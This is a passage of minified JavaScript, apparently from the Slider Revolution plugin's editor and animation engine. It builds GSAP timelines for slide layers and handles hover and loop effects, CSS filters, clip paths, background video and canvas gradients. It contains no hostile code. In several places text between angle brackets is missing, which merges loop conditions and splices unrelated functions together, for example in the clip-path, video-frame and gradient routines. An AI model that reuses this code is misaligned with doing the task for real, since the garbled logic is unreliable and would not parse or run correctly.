A.brightness),E.stagger="center"===M||"edge"===M?u({each:L,offset:L/2,from:M}):{each:L,from:p(S[d[C]].direction)},E.duration=_,void 0!==A&&delete A.dir,l===o?g.timeline.add(v.fromTo(O,A,E),0):g.timeline.add(v.to(O,E),0),k=Math.max(k,O.length*L)}if(_+=k,r="local"===RVS.SLIDER.settings.general.perspectiveType?void 0!==I&&void 0!==I.transformPerspective?I.transformPerspective:void 0!==b.transformPerspective?b.transformPerspective:RVS.SLIDER.settings.general.perspective:RVS.SLIDER.settings.general.perspective,void 0!==F?(F.overflow="hidden",F.rotationX=a.idle.rotationX,F.rotationY=a.idle.rotationY,F.rotationZ=a.idle.rotationZ,F.opacity=a.idle.opacity,F.transformPerspective=r,l===o?(D.rotationX=a.idle.rotationX,D.rotationY=a.idle.rotationY,D.rotationZ=a.idle.rotationZ,D.opacity=a.idle.opacity,g.timeline.add(tpGS.gsap.fromTo([i.m,i.bgmask],_,D,F),0)):g.timeline.add(tpGS.gsap.to([i.m,i.bgmask],_,F),0),i.maskAnimFirst=!0):0===parseInt(a.idle.rotationX,0)&&0==parseInt(a.idle.rotationY,0)&&0==parseInt(a.idle.rotationZ,0)?((i.maskAnimFirst||null==i.maskAnimFirst)&&(i.m.style.transform="none",i.m.style.filter="none",i.m.style.overflow="visible",i.maskAnimFirst=!1),i.m.style.opacity=a.idle.opacity):(i.maskAnimFirst=!0,g.timeline.add(tpGS.gsap.to(i.m,.001,{transformPerspective:r,filter:"none",x:0,y:0,opacity:a.idle.opacity,rotationX:a.idle.rotationX,rotationY:a.idle.rotationY,rotationZ:a.idle.rotationZ,overflow:"visible"}),0)),b.force3D="auto",delete b.clipB,l===o?(delete I.clipB,delete I.transformPerspective,void 0!==i.bg&&g.timeline.fromTo(i.bg,_,I,b,0),void 0!==i.bg&&"column"===a.type?g.timeline.fromTo(f,_,c(I),c(b),0):g.timeline.fromTo(f,_,I,b,0)):(void 0!==i.bg&&g.timeline.to(i.bg,_,b,0),void 0!==i.bg&&"column"===a.type?g.timeline.to(f,_,c(b),0):g.timeline.to(f,_,b,0)),void 0!==x&&Array.isArray(x)&&x.indexOf("SFXBounce")>=0&&g.timeline.to(f,_,{scaleY:.5,scaleX:1.3,ease:b.ease+"-squash",transformOrigin:"bottom"},1e-4),"full"===t.timeline){var P=parseInt(S.timeline.start,0)/1e3;i.timeline.addLabel(l,P),i.timeline.add(g.timeline,P),i.timeline.addLabel(l+"_end","+=0.01"),a.timeline.frameToIdle===l&&i.timeline.addLabel("frame_IDLE")}else i.timeline.addLabel(l),i.timeline.add(g.timeline),l===t.frame?i.timeline.addPause(l+"_end+=0.5",function(e){this.play(e)},[t.frame]):(i.timeline.addLabel(l+"_end"),a.timeline.frameToIdle===l&&i.timeline.addLabel("frame_IDLE"),a.timeline.loop.use?(i.timeline.addPause(l+"_end+="+a.timeline.loop.speed/500,function(){this.play()}),"frame_999"==l&&i.timeline.addPause(l+"_end+=0.5",function(){this.play(0)})):i.timeline.addPause(l+"_end+=0.5",function(){this.play()}))}}if("true"!=a.hover.usehover&&1!=a.hover.usehover&&"desktop"!=a.hover.usehover||!i.htr)i.hoverlistener&&(i.hoverlistener=!1,i.w.off("hover"));else{void 0!==i.hover&&i.hover.kill(),i.hover=new tpGS.TimelineMax,i.hover.pause(),i.htr.ease=a.hover.ease;var z=parseInt(a.hover.speed,0)/1e3;z=0===z?1e-5:z,"column"!==a.type&&"row"!==a.type||i.hover.to(i.bg,z,jQuery.extend(!0,{},i.htr),0),"text"!==a.type&&"button"!==a.type||!a.timeline.split||void 0===i.splitText||i.hover.to([i.splitText.lines,i.splitText.words,i.splitText.chars],z,{color:i.htr.color,ease:i.htr.ease},0),"column"===a.type?i.hover.to(i.c,z,c(jQuery.extend(!0,{},i.htr)),0):i.hover.to(i.c,z,jQuery.extend(!0,{},i.htr),0),"svg"===a.type&&!0!==a.idle.svg.originalColor&&(i.hover.to(i.svg,z,{fill:window.RSColor.get(a.hover.svg.color),stroke:window.RSColor.get(a.hover.svg.strokeColor),"stroke-width":a.hover.svg.strokeWidth,"stroke-dasharray":RVS.F.getDashArray(a.hover.svg.strokeDashArray),"stroke-dashoffset":void 0===a.hover.svg.strokeDashOffset?0:a.hover.svg.strokeDashOffset},0),i.hover.to(i.svgPath,z,{fill:window.RSColor.get(a.hover.svg.color)},0)),i.hover.to([i.m,i.bgmask],z,{overflow:a.hover.usehovermask?"hidden":"visible"},0),i.hoverlistener||(i.hoverlistener=!0,i.w.on("mouseenter",function(){void 0!==this.dataset.uid&&1!=RVS.L[this.dataset.uid].hover.usehover&&"true"!=RVS.L[this.dataset.uid].hover.usehover||i.hover.play()}).on("mouseleave",function(){void 0!==this.dataset.uid&&1!=RVS.L[this.dataset.uid].hover.usehover&&"true"!=RVS.L[this.dataset.uid].hover.usehover&&RVS.H[this.dataset.uid].hover.time(0).pause(),"hover"===RVS.eMode.mode&&i.w.hasClass("selected")||i.hover.reverse()}),"hover"===RVS.eMode.mode&&jQuery.inArray(parseInt(a.uid,0),RVS.selLayers)>=0&&RVS.L[t.layerid].hover.usehove?i.hover.play():i.hover.time()>0&&i.hover.reverse())}if(!a.timeline.loop.use||e&&"animation"!==RVS.eMode.mode)(G=new tpGS.TimelineMax({})).set(i.lp,{"-webkit-filter":"none",filter:"none",x:0,y:0,z:0,scale:1,skewX:0,skewY:0,rotationX:0,rotationY:0,rotationZ:0,transformPerspective:r,transformOrigin:"50% 50%",opacity:1}),i.timeline.add(G,0);else{var H=a.timeline.loop.frame_0,B=a.timeline.loop.frame_999,N=new tpGS.TimelineMax({}),G=new tpGS.TimelineMax({repeat:-1,yoyo:a.timeline.loop.yoyo_move}),Q=new tpGS.TimelineMax({repeat:-1,yoyo:a.timeline.loop.yoyo_rotate}),W=new tpGS.TimelineMax({repeat:-1,yoyo:a.timeline.loop.yoyo_scale}),X=new tpGS.TimelineMax({repeat:-1,yoyo:a.timeline.loop.yoyo_filter}),Y=parseInt(a.timeline.loop.speed,0)/1e3,U=parseInt(a.timeline.loop.start)/1e3||0,q=U+.2,Z="blur(0px) grayscale(0%) brightness(100%)",K="blur("+parseInt(H.blur||0,0)+"px) grayscale("+parseInt(H.grayscale||0,0)+"%) brightness("+parseInt(H.brightness||100,0)+"%)",J="blur("+(B.blur||0)+"px) grayscale("+(B.grayscale||0)+"%) brightness("+(B.brightness||100)+"%)";if("blur(0px) grayscale(0%) brightness(100%)"===K&&"blur(0px) grayscale(0%) brightness(100%)"===J&&(K="none",J="none",Z="none"),N.add(G,0),N.add(Q,0),N.add(W,0),N.add(X,0),a.timeline.loop.curved){var $=parseInt(a.timeline.loop.radiusAngle,0)||0,ee=[{x:parseInt(H.x,0)-parseInt(H.xr,0),y:0,z:parseInt(H.z,0)-parseInt(H.zr,0)},{x:0,y:parseInt(H.y,0)+parseInt(H.yr,0),z:0},{x:parseInt(B.x,0)+parseInt(B.xr,0),y:0,z:parseInt(B.z,0)+parseInt(B.zr,0)},{x:0,y:parseInt(B.y,0)-parseInt(B.yr,0),z:0}],te={type:"thru",curviness:a.timeline.loop.curviness,path:[],autoRotate:a.timeline.loop.autoRotate};for(var ie in ee)ee.hasOwnProperty(ie)&&(te.path[ie]=ee[$],$=++$==ee.length?0:$);i.timeline.fromTo(i.lp,.2,{"-webkit-filter":Z,filter:Z,x:0,y:0,z:0,scale:1,skewX:0,skewY:0,rotationX:0,rotationY:0,rotationZ:0,transformPerspective:r,transformOrigin:a.timeline.loop.originX+" "+a.timeline.loop.originY+" "+a.timeline.loop.originZ,opacity:1},{x:te.path[3].x,y:te.path[3].y,z:te.path[3].z,scaleX:H.scaleX,skewX:H.skewX,skewY:H.skewY,scaleY:H.scaleY,rotationX:H.rotationX,rotationY:H.rotationY,rotationZ:H.rotationZ,"-webkit-filter":K,filter:K,ease:"sine.out",opacity:H.opacity},U),G.to(i.lp,a.timeline.loop.yoyo_move?Y/2:Y,{motionPath:te,ease:a.timeline.loop.ease})}else i.timeline.fromTo(i.lp,.2,{"-webkit-filter":Z,filter:Z,x:0,y:0,z:0,scale:1,skewX:0,skewY:0,rotationX:0,rotationY:0,rotationZ:0,transformPerspective:r,transformOrigin:a.timeline.loop.originX+" "+a.timeline.loop.originY+" "+a.timeline.loop.originZ,opacity:1},RVS.F.checkLoopSkew({x:H.x,y:H.y,z:H.z,scaleX:H.scaleX,skewX:H.skewX,skewY:H.skewY,scaleY:H.scaleY,rotationX:H.rotationX,rotationY:H.rotationY,rotationZ:H.rotationZ,ease:"sine.out",opacity:H.opacity,"-webkit-filter":K,filter:K}),U),G.to(i.lp,a.timeline.loop.yoyo_move?Y/2:Y,{x:B.x,y:B.y,z:B.z,ease:a.timeline.loop.ease});Q.to(i.lp,a.timeline.loop.yoyo_rotate?Y/2:Y,{rotationX:B.rotationX,rotationY:B.rotationY,rotationZ:B.rotationZ,ease:a.timeline.loop.ease}),W.to(i.lp,a.timeline.loop.yoyo_scale?Y/2:Y,RVS.F.checkLoopSkew({scaleX:B.scaleX,scaleY:B.scaleY,skewX:B.skewX,skewY:B.skewY,ease:a.timeline.loop.ease}));var ae={opacity:B.opacity,ease:a.timeline.loop.ease,"-webkit-filter":J,filter:J};X.to(i.lp,a.timeline.loop.yoyo_filter?Y/2:Y,ae),i.timeline.add(N,q)}"atstart"!==t.mode&&("0"===RVS.S.keyFrame||"frame_0"===RVS.S.keyFrame?i.timeline.pause("frame_1"):"idle"===RVS.S.keyFrame?i.timeline.pause("frame_IDLE"):i.timeline.pause(RVS.S.keyFrame+"_end")),void 0!==t.time&&i.timeline.time(t.time),"loopsingleframe"===t.timeline?i.timeline.play(t.frame):"full"!==t.timeline&&i.timeline.eventCallback("onComplete",function(){this.restart()})}},RVS.F.checkLoopSkew=function(e){return void 0===e.skewX&&delete e.skewX,void 0===e.skewY&&delete e.skewY,e},RVS.F.buildFullLayerAnimation=function(e){for(var t in RVS.L)RVS.L.hasOwnProperty(t)&&void 0!==RVS.L[t].uid&&RVS.F.renderLayerAnimation({layerid:t,timeline:"full",mode:e})},RVS.F.playLayerAnimation=function(e){void 0!==e.time?RVS.H[e.layerid].timeline.play(e.time):RVS.H[e.layerid].timeline.play(0),S.push(e.layerid)},RVS.F.stopLayerAnimation=function(e){void 0!==RVS.H[e.layerid]&&(RVS.H[e.layerid].timeline&&RVS.H[e.layerid].timeline.pause("frame_IDLE"),S=RVS.F.rArray(S,parseInt(e.layerid,0)))},RVS.F.stopAllLayerAnimation=function(){for(var e=S.length;S.length>0;)RVS.F.stopLayerAnimation({layerid:S[0]});e>0&&(RVS.TL.cache.main<=0?RVS.F.updateCurTime({pos:!0,cont:!0,force:!0,left:0,refreshMainTimeLine:!0,caller:"stopAllLayerAnimation"}):RVS.F.updateTimeLine({force:!0,state:"time",time:RVS.TL.cache.main,timeline:"main",forceFullLayerRender:!0,updateCurTime:!0}))},RVS.F.stopAndPauseAllLayerAnimation=function(){RVS.S.shwLayerAnim=!1,RVS.F.changeSwitchState({el:document.getElementById("layer_simulator"),state:"play"}),RVS.F.changeSwitchState({el:document.getElementById("layer_simulator_loop"),state:"play"}),RVS.F.stopAllLayerAnimation()},RVS.F.buildFilter=function(e){if(void 0===e)return"";var t="";return RVS.S.isChrome8889&&0===e.blur&&(e.blur=.05),t=void 0!==e.blur?"blur("+parseFloat(e.blur||0)+"px)":"",t+=void 0!==e.grayscale?(t.length>0?" ":"")+"grayscale("+parseInt(e.grayscale||0)+"%)":"",""===(t+=void 0!==e.brightness?(t.length>0?" ":"")+"brightness("+parseInt(e.brightness||100)+"%)":"")?"none":t},RVS.F.buildBackdropFilter=function(e){if(void 0===e)return"";var t="";return RVS.S.isChrome8889&&0===e.b_blur&&(e.b_blur=.05),t=void 0!==e.blur?"blur("+parseInt(e.blur||0)+"px)":"",t+=void 0!==e.grayscale?(t.length>0?" ":"")+"grayscale("+parseInt(e.grayscale||0)+"%)":"",t+=void 0!==e.sepia?(t.length>0?" ":"")+"sepia("+parseInt(e.sepia||0)+"%)":"",t+=void 0!==e.invert?(t.length>0?" ":"")+"invert("+parseInt(e.invert||0)+"%)":"",""===(t+=void 0!==e.brightness?(t.length>0?" ":"")+"brightness("+parseInt(e.brightness||100)+"%)":"")?"none":t},RVS.F.checkGlobalFiltersOnLayer=function(e){var t=!0===RVS.L[e].timeline.hoverFilterUsed;if(!0!==t)for(var i in RVS.L[e].timeline.frames){if(!0===t||!RVS.L[e].timeline.frames.hasOwnProperty(i))continue;t=RVS.L[e].timeline.frames[i].filter.use}return t},RVS.F.getClipPaths=function(e,t,i,a){var r;switch(e){case"none":r=t+"% 100%,"+t+"% 0%";break;case"top":r=i+"% 100%,"+t+"% 0%";break;case"middle":r=i+"% 100%,"+t+"% 50%,"+i+"% 0%";break;case"bottom":r=t+"% 100%,"+i+"% 0%";break;case"two":r=i+"% 100%,"+t+"% 75%,"+i+"% 50%,"+t+"% 25%,"+i+"% 0%";break;case"three":r=t+"% 100%,"+i+"% 75%,"+t+"% 50%,"+i+"% 25%,"+t+"% 0%";break;case"four":r=t+"% 100%,"+i+"% 87.5%,"+t+"% 75%,"+i+"% 62.5%,"+t+"% 50%,"+i+"% 37.5%,"+t+"% 25%,"+i+"% 12.5%,"+t+"% 0%";break;case"five":r=t+"% 100%,"+i+"% 90%,"+t+"% 80%,"+i+"% 70%,"+t+"% 60%,"+i+"% 50%,"+t+"% 40%,"+i+"% 30%,"+t+"% 20%,"+i+"% 10%,"+t+"% 0%"}if(a){var s=r.split(",");for(var i in r="",s)s.hasOwnProperty(i)&&(r+=s[s.length-1-i]+(i=0))for(var o in a[r][s])a[r][s].hasOwnProperty(o)&&-1==jQuery.inArray(a[r][s][o].title,["*north*","*south*","*east*","*west*"])&&t.randomSlideAnimCache[e][i].push(o);return t.randomSlideAnimCache[e][i][Math.floor(Math.random()*t.randomSlideAnimCache[e][i].length)]},cbgW:function(e,i){return _R_is_Editor?RVS.RMD.width:"carousel"===t[e].sliderType?t[e].justifyCarousel?t[e].carousel.slide_widths[void 0!==i?i:t[e].carousel.focused]:t[e].carousel.slide_width:t[e].canv.width},cbgH:function(e,i){return _R_is_Editor?RVS.RMD.height:"carousel"===t[e].sliderType?"v"!=t[e].carousel.orientation||"fullscreen"!==t[e].sliderLayout&&!t[e].infullscreenmode?!0===t[e].carousel.justify?t[e].carousel.slide_height:"fullscreen"===t[e].sliderLayout||t[e].infullscreenmode?t[e].module.height:Math.min(t[e].canv.height,t[e].gridheight[t[e].level]):t[e].carousel.slide_height:void 0!==t[e].maxHeight&&t[e].maxHeight>0&&!t[e].fixedOnTop?Math.min(t[e].canv.height,t[e].maxHeight):t[e].canv.height},valBeau:function(e){return e=(""+(e=(""+(e=(""+(e=(""+(e=(""+e).split(",").join("|"))).replace("{","ran("))).replace("}",")"))).replace("[","cyc("))).replace("]",")")},animateSlide:function(e,t){return _R_is_Editor&&RVS.F.resetSlideTL(),void 0===tpGS.eases.late&&(tpGS.CustomEase.create("late","M0,0,C0,0,0.474,0.078,0.724,0.26,0.969,0.438,1,1,1,1"),tpGS.CustomEase.create("late2","M0,0 C0,0 0.738,-0.06 0.868,0.22 1,0.506 1,1 1,1 "),tpGS.CustomEase.create("late3","M0,0,C0,0,0.682,0.157,0.812,0.438,0.944,0.724,1,1,1,1")),s(e,t)},getBasic:function(e){return jQuery.extend(!0,{attr:null==e||void 0===e.attr?["o","r","sx","sy","x","y","m","e","row","col","mo","moo"]:e.attr,in:{f:"start",m:!1,o:1,r:0,sx:1,sy:1,x:0,y:0,row:1,col:1,e:"power2.inOut",ms:1e3,mo:0,moo:"none"},out:{f:"start",m:!1,o:1,r:0,sx:1,sy:1,x:0,y:0,row:1,col:1,e:"power2.inOut",ms:1e3}},e)},playBGVideo:function(e,i,a){if(_R_is_Editor)a=void 0===a?RVS.SBGS[RVS.S.slideId].n:a;else{if(void 0===a&&(void 0===t[e].pr_next_bg||0===t[e].pr_next_bg.length))return;a=void 0===a?t[e].sbgs[void 0===i?t[e].pr_next_bg[0].dataset.key:i]:a}void 0!==a.bgvid&&a.bgvid.length>0&&(S(e,{},a,"in"),t.resetVideo(a.bgvid,e),t.playVideo(a.bgvid,e,!0),tpGS.gsap.to(a.bgvid[0],.2,{zIndex:30,display:"block",autoAlpha:1,delay:.075,overwrite:"all"}))},stopBGVideo:function(e,i,a){if(_R_is_Editor)a=void 0===a?RVS.SBGS[RVS.S.slideId].n:a;else{if(void 0===a&&(void 0===t[e].pr_next_bg||0===t[e].pr_next_bg.length))return;a=void 0===a?t[e].sbgs[void 0===i?t[e].pr_next_bg[0].dataset.key:i]:a}void 0!==a.bgvid&&a.bgvid.length>0&&(a.drawVideoCanvasImagesRecall=!1,t.stopVideo(a.bgvid,e),tpGS.gsap.to(a.bgvid[0],.2,{autoAlpha:0,zIndex:0,display:"none"}))},SATools:{getOffset:function(e,i,a,r){var s=(""+e).indexOf("%")>=0;return 0==(e=t.SATools.getSpecialValue(e,r,a))||void 0===e?0:s?i*(parseInt(e)/100):parseInt(e)},getSpecialValue:function(e,i,a,r){if(t.isNumeric(parseFloat(e,0)))return parseFloat(e,0);var s=(""+e).split("ran(").length>1?"random":(""+e).split("cyc(").length>1?"wrap":(""+e).split("(").length>1?"dir":"unknown",o=("random"===s?e.slice(4,-1):"wrap"===s?e.slice(4,-1):e.slice(1,-1)).split("|");if("random"===s)return tpGS.gsap.utils.random(parseFloat(o[0]),parseFloat(o.length>1?o[1]:0-o[0]));if("wrap"===s){var n=tpGS.gsap.utils.wrap(o,i);return(""+n).split("(").length>1?parseFloat(n.slice(1,-1))*a+(r?"%":""):n}return"dir"===s?parseFloat(o[0])*a+(r?"%":""):void 0}},getmDim:function(e,i,a){var r=t.cbgW(e,i),s=t.cbgH(e,i);return a.DPR=_R_is_Editor?Math.min(window.devicePixelRatio,2):t[e].DPR,t.maxDimCheck(a,r,s)},maxDimCheck:function(e,i,a){var r,s;void 0!==e.video&&("img"===e.video.tagName||null==e.video.videoWidth||e.video.videoWidth);if("animating"!==e.currentState&&null==e.panzoom||"animating"===e.currentState&&null==e.panzoom&&(null==e.slideanimation||null==e.slideanimation.anim||"true"!==e.slideanimation.anim.adpr))if(e.DPR>1&&t.ISM&&a>1024)e.DPR=1,r=i,s=a;else{var o={w:null==e.video||e.isVidImg?e.loadobj.width:0==e.video.videoWidth?e.loadobj.width:e.video.videoWidth,h:null==e.video||e.isVidImg?e.loadobj.height:0==e.video.videoHeight?e.loadobj.height:e.video.videoHeight};void 0===o.w&&(o.w=e.loadobj.width),void 0===o.h&&(o.h=e.loadobj.height);var n=a/o.w,l=i/o.h,d=Math.max(n,l);if(d>e.DPR||n>=1&&l>=1?e.DPR=1:e.DPR>d&&(e.DPR=Math.min(e.DPR,e.DPR/d)),r=i*e.DPR,s=a*e.DPR,e.DPR>1){var S=i/a;o.w>o.h&&o.wo.w&&o.hi.fps){i.then=i.now-i.elapsed%i.fps;var r="img"===i.video.tagName||null==i.video.videoWidth||0==i.video.videoWidth;void 0!==i.video&&!i.video.BGrendered&&void 0!==i.loadobj&&void 0!==i.loadobj.img||t.ISM&&t.isFirefox(e)?(i.mDIM=t.getmDim(e,i.skeyindex,i),i.pDIMS=o(i.mDIM,i,{width:i.mDIM.width,height:i.mDIM.height,x:0,y:0,contw:i.loadobj.width,conth:i.loadobj.height}),i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),i.shadowCTX.drawImage(i.loadobj.img,i.pDIMS.x,i.pDIMS.y,i.pDIMS.width,i.pDIMS.height)):((a||void 0===i.sDIMS||r!==i.isVidImg||0===i.sDIMS.width||0===i.sDIMS.height)&&(i.isVidImg=r,i.mDIM=t.getmDim(e,i.skeyindex,i),i.sDIMS=o(i.mDIM,i,{width:i.mDIM.width,height:i.mDIM.height,x:0,y:0,contw:i.isVidImg?i.loadobj.width:i.video.videoWidth,conth:i.isVidImg?i.loadobj.height:i.video.videoHeight})),void 0!==i.sDIMS&&0!==i.sDIMS.width&&0!==i.sDIMS.height&&("animating"===i.currentState?(i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),i.shadowCTX.drawImage(i.video,i.sDIMS.x,i.sDIMS.y,i.sDIMS.width,i.sDIMS.height)):void 0===i.animateDirection&&(i.canvas.width!==i.mDIM.width&&(i.canvas.width=i.mDIM.width),i.canvas.height!==i.mDIM.height&&(i.canvas.height=i.mDIM.height),i.ctx.drawImage(i.video,i.sDIMS.x,i.sDIMS.y,i.sDIMS.width,i.sDIMS.height)),i.shadowCanvas_Drawn=!0))}(a||i.drawVideoCanvasImagesRecall&&"animating"===i.currentState||"animating"===i.currentState&&void 0===i.shadowCanvas_Drawn)&&window.requestAnimationFrame(function(){t.updateVideoFrames(e,i)})},createOverlay:function(e,i,a,r){if("none"===i)return"none";a=void 0===a?1:a;r=void 0===r?{0:"rgba(0, 0, 0, 0)",1:"rgba(0, 0, 0, 1)"}:r;var s={none:[[0]],1:[[1,0],[0,0]],2:[[1,0,0],[0,0,0],[0,0,0]],3:[[1,0,0,0],[0,0,0,0],[0,0,0,0]],4:[[1],[0]],5:[[1],[0],[0]],6:[[1],[0],[0],[0]],7:[[1,0]],8:[[1,0,0]],9:[[1,0,0,0]],10:[[1,0,0,0,0],[0,1,0,1,0],[0,0,0,0,0],[0,1,0,1,0],[0,0,0,0,1]],11:[[0,0,1,0,0],[0,1,0,1,0],[1,0,0,0,1],[0,1,0,1,0],[0,0,1,0,0]],12:[[1,0,0],[0,1,0],[0,0,1]],13:[[0,0,1],[0,1,0],[1,0,0]],14:[[1,0,0,0,0],[0,1,0,0,0],[0,0,1,0,0],[0,0,0,1,0],[0,0,0,0,0]],15:[[0,0,0,0,1],[0,0,0,1,0],[0,0,1,0,0],[0,1,0,0,0],[1,0,0,0,0]],16:[[1,0,0,0,1],[0,1,0,1,0],[0,0,1,0,0],[0,1,0,1,0],[1,0,0,0,1]]},o=void 0===s[i=void 0===i?1:i]?s[2]:s[i];_R_is_Editor&&(t[e]=void 0===t[e]?{}:t[e]),t[e].patternCanvas=document.createElement("canvas"),t[e].patternCtx=t[e].patternCanvas.getContext("2d"),t[e].patternCanvas.width=o[0].length*a,t[e].patternCanvas.height=o.length*a;for(var n=0;n=0)&&(void 0===i.loadobj||!0!==i.loadobj.useBGColor),_R_is_Editor&&void 0===i.panzoom&&delete i.shadowCanvas,void 0===i.shadowCanvas&&(i.shadowCanvas=document.createElement("canvas"),i.shadowCTX=i.shadowCanvas.getContext("2d"),i.shadowCanvas.style.background="transparent",i.shadowCanvas.style.opacity=1),!0===i.replaceShadowCanvas||!0===i.loadobj.bgColor||!0===i.usebgColor||void 0!==i.panzoom||null!=i.isHTML5&&1!=i.poster||i.usepattern?(r={width:i.mDIM.width,height:i.mDIM.height,x:0,y:0},i.usepattern&&void 0!==i.loadobj&&void 0!==i.loadobj.img?t.getCanvasPattern(e,i,{ratio:i.loadobj.height/i.loadobj.width}):(i.loadobj.bgColor||i.usebgColor)&&(i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),t.getCanvasGradients(e,i))):(r=o(i.mDIM,i,{width:i.mDIM.width,height:i.mDIM.height,x:0,y:0,contw:i.loadobj.width,conth:i.loadobj.height}),i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),void 0!==i.loadobj&&void 0!==i.loadobj.img&&i.shadowCTX.drawImage(i.loadobj.img,r.x,r.y,r.width,r.height),r={width:i.mDIM.width,height:i.mDIM.height,x:0,y:0}),r},getCanvasPattern:function(e,i,a){void 0===i.patternImageCanvas&&(i.patternImageCanvas=document.createElement("canvas"),i.patternImageCTX=i.patternImageCanvas.getContext("2d"));var r=i.bgfit.split(" ");1===r.length&&(r[1]=r[0]),a.width="auto"===r[0]?i.loadobj.width:i.loadobj.width*(parseInt(r[0],0)/100),a.height="auto"===r[1]?i.loadobj.height:a.width*a.ratio,i.DPR=_R_is_Editor?Math.min(window.devicePixelRatio,2):t[e].DPR;var s=a.width/a.height;a.width=a.width*i.DPR,a.height=a.height*i.DPR,t.isIOS&&a.width*a.height>15728640&&(i.mDIM.width>i.mDIM.height?(a.width=i.mDIM.width,a.height=Math.round(i.mDIM.width/s)):(a.height=i.mDIM.height,a.width=Math.round(i.mDIM.height*s))),i.patternImageCanvas.width=a.width,i.patternImageCanvas.height=a.height,i.patternImageCTX.drawImage(i.loadobj.img,0,0,a.width,a.height),i.shadowCanvas.width!==i.mDIM.width&&(i.shadowCanvas.width=i.mDIM.width),i.shadowCanvas.height!==i.mDIM.height&&(i.shadowCanvas.height=i.mDIM.height),i.shadowCTX.clearRect(0,0,i.shadowCTX.canvas.width,i.shadowCTX.canvas.height),i.pattern=i.shadowCTX.createPattern(i.patternImageCanvas,i.bgrepeat),i.shadowCTX.fillStyle=i.pattern,i.shadowShifts={h:i.bgposition.split(" ")[0],v:i.bgposition.split(" ")[1]},i.shadowShifts.hperc=t.isNumeric(parseInt(i.shadowShifts.h))?parseInt(i.shadowShifts.h)/100*i.mDIM.width:0,i.shadowShifts.vperc=t.isNumeric(parseInt(i.shadowShifts.v))?parseInt(i.shadowShifts.v)/100*i.mDIM.height:0,i.shadowShifts.x="left"===i.shadowShifts.h?0:"center"===i.shadowShifts.h||"50%"==i.shadowShifts.h?"repeat"==i.bgrepeat||"repeat-x"==i.bgrepeat?i.mDIM.width/2-a.width/2-Math.ceil(i.mDIM.width/2/a.width)*a.width:i.mDIM.width/2-a.width/2:"right"===i.shadowShifts.h?"repeat"==i.bgrepeat||"repeat-x"==i.bgrepeat?-(a.width-i.mDIM.width%a.width):i.mDIM.width-a.width:"repeat"==i.bgrepeat||"repeat-x"==i.bgrepeat?-(a.width-i.shadowShifts.hperc%a.width):i.shadowShifts.hperc,i.shadowShifts.y="top"===i.shadowShifts.v?0:"center"===i.shadowShifts.v||"50%"==i.shadowShifts.v?"repeat"==i.bgrepeat||"repeat-y"==i.bgrepeat?i.mDIM.height/2-a.height/2-Math.ceil(i.mDIM.height/2/a.height)*a.height:i.mDIM.height/2-a.height/2:"bottom"===i.shadowShifts.v?"repeat"==i.bgrepeat||"repeat-y"==i.bgrepeat?-(a.height-i.mDIM.height%a.height):i.mDIM.height-a.height:"repeat"==i.bgrepeat||"repeat-y"==i.bgrepeat?-(a.height-i.shadowShifts.vperc%a.height):i.shadowShifts.vperc,i.shadowCTX.save(),i.shadowCTX.translate(i.shadowShifts.x,i.shadowShifts.y),i.shadowCTX.fillRect(0,0,i.mDIM.width-i.shadowShifts.x,i.mDIM.height-i.shadowShifts.y),i.shadowCTX.restore()},getCanvasGradients:function(e,i){if(i.bgcolor.indexOf("gradient")>=0){i.gradient=null==i.gradient||_R_is_Editor?t.getGradients(i.bgcolor):i.gradient,i.shadowGrd="radialGradient"===i.gradient.type?i.shadowCTX.createRadialGradient(i.mDIM.width/2,i.mDIM.height/2,0,i.mDIM.width/2,i.mDIM.height/2,Math.max(i.mDIM.width/2,i.mDIM.height/2)):t.calcLinearGradient(i.shadowCTX,i.shadowCanvas.width,i.shadowCanvas.height,i.gradient.deg);for(var a=0;a3?n[3]:1}}),l.appendChild(o);t.gradSVG.appendChild(l),e="url(#tp_svg_gradient_"+t.svgGradients.length+")",t.svgGradients.push({url:e,src:r,g:l})}return e},getGradients:function(e){return e.indexOf("radial-gradient")>=0?{stops:t.getGradientColorStopPoints(e.split("radial-gradient(ellipse at center, ")[1]),type:"radialGradient",deg:0}:-1!==e.indexOf("gradient")?t.getLinearGradientStops(e):e},getLinearGradientStops:function(e){var t=e.split("linear-gradient(")[1];_R_is_Editor&&(t=(t=t.split(", ").join(",")).split(",rgba").join(", rgba"));var i=t.split("deg, ");for(var a in t=(i.length>1?i[1]:i[0]).split(" "),i=i.length>1?i[0]:180,t)t.hasOwnProperty(a)&&t[a].indexOf("%")>=0&&(t[a]=""+Math.round(100*parseFloat(t[a].split("%,")[0].split("%)")[0]))/1e4);return{stops:t,deg:i,type:"linearGradient"}},getGradientColorStopPoints:function(e){var t=/rgb([\s\S]*?)%/g,i=[],a=[];do{(s=t.exec(e))&&i.push(s[0])}while(s);for(var r=0;rc(l,d,m[1].x,m[1].y)?(r=m[0].x,s=m[0].y):(r=m[1].x,s=m[1].y),c(l,d,m[2].x,m[2].y)>c(l,d,m[3].x,m[3].y)?(o=m[2].x,n=m[2].y):(o=m[3].x,n=m[3].y),Math.round(100*Math.atan2(d-s,l-r))/100===Math.round(a%(2*Math.PI)*100)/100){var g=r,f=s;r=o,s=n,o=g,n=f}return e.createLinearGradient(Math.round(r),Math.round(s),Math.round(o),Math.round(n))},transitions:{filter:{update:function(e,t,i){if(void 0!==e&&void 0!==e.tl){var a=void 0!==i||void 0!==e.tl.blur?" blur("+(void 0!==i?i:0+e.tl.blur!==void 0?e.tl.blur:0)+"px)":"";t.canvas.style.filter=void 0===e.tl.filter?""+a:e.tl.filter+a}},extendTimeLine:function(e,t,i){if(null!=t){var a=void 0!==t.g&&"0%"!==t.g&&0!==t.g?(""===a?"":" ")+"grayscale(_g_%)":"";a+=void 0!==t.h&&"100%"!==t.h&&100!==t.h?(""===a?"":" ")+"brightness(_h_%)":"",a+=void 0!==t.s&&"0px"!==t.s&&0!==t.s?(""===a?"":" ")+"sepia(_s_%)":"",a+=void 